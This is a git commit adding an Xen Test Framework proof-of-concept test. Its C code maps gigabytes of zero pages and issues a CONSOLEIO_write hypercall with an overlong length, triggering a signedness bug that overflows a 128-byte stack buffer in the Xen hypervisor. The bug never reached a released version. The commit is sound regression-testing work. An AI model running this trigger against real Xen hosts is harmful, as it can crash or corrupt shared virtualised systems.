CONSOLEIO_write stack overflow PoC

Classify it as an XSA test (which arguably ought to be named 'security'),
despite no XSA being issued.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
Reviewed-by: Jan Beulich <jbeulich@suse.com>

diff --git a/docs/all-tests.dox b/docs/all-tests.dox
index 50429127126d3147a4c7cde469c785d71e34df03..bcf9b7ed1e7a90abc99830b2b1db711ac818afa2 100644 (file)
--- a/docs/all-tests.dox
+++ b/docs/all-tests.dox
@@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase.
 @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV
 emulation.
 
+@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow
+
 
 @section index-utility Utilities
 

diff --git a/tests/xsa-consoleio-write/Makefile b/tests/xsa-consoleio-write/Makefile
new file mode 100644 (file)
index 0000000..d189b4d
--- /dev/null
+++ b/tests/xsa-consoleio-write/Makefile
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-consoleio-write
+CATEGORY  := xsa
+TEST-ENVS := hvm32pae
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk

diff --git a/tests/xsa-consoleio-write/main.c b/tests/xsa-consoleio-write/main.c
new file mode 100644 (file)
index 0000000..f10a625
--- /dev/null
+++ b/tests/xsa-consoleio-write/main.c
@@ -0,0 +1,69 @@
+/**
+ * @file tests/xsa-consoleio-write/main.c
+ * @ref test-xsa-consoleio-write
+ *
+ * This issue was discovered before it made it into any released version of
+ * Xen.  Therefore, no XSA or CVE was issued.
+ *
+ * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL
+ * characters intact, as this is a requirement for various TTY setups.
+ *
+ * A signed-ness issue with the length calculation lead to a case where Xen
+ * will copy between 2 and 4G of guest provided data into a 128 byte object on
+ * the stack.
+ *
+ * @see tests/xsa-consoleio-write/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "CONSOLEIO_write stack overflow PoC";
+
+uint8_t zero_page[PAGE_SIZE] __page_aligned_bss;
+
+/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */
+asm (".section \".data.page_aligned\", \"aw\";"
+     ".align 4096;"
+
+     "l1t:"
+     ".rept 512;"
+     ".long zero_page + "STR(PF_SYM(AD, P))", 0;"
+     ".endr;"
+     ".size l1t, . - l1t;"
+     ".type l1t, @object;"
+
+     "l2t:"
+     ".rept 512;"
+     ".long l1t + "STR(PF_SYM(AD, P))", 0;"
+     ".endr;"
+     ".size l2t, . - l2t;"
+     ".type l2t, @object;"
+
+     ".previous;"
+    );
+extern intpte_t l2t[512];
+
+void test_main(void)
+{
+    /* Map 2G worth of zero_page[] starting from 1G... */
+    pae_l3_identmap[1] = pae_l3_identmap[2] = pte_from_virt(l2t, PF_SYM(AD, P));
+
+    /*
+     * ... , write those zeros with a length possible to be confused by a
+     * signed bounds check...
+     */
+    hypercall_console_write(_p(GB(1)), 0x80000000);
+
+    /* ... and if Xen is still alive, it didn't trample over its own stack. */
+
+    xtf_success("Success: Not vulnerable to CONSOLEIO_write stack overflow\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */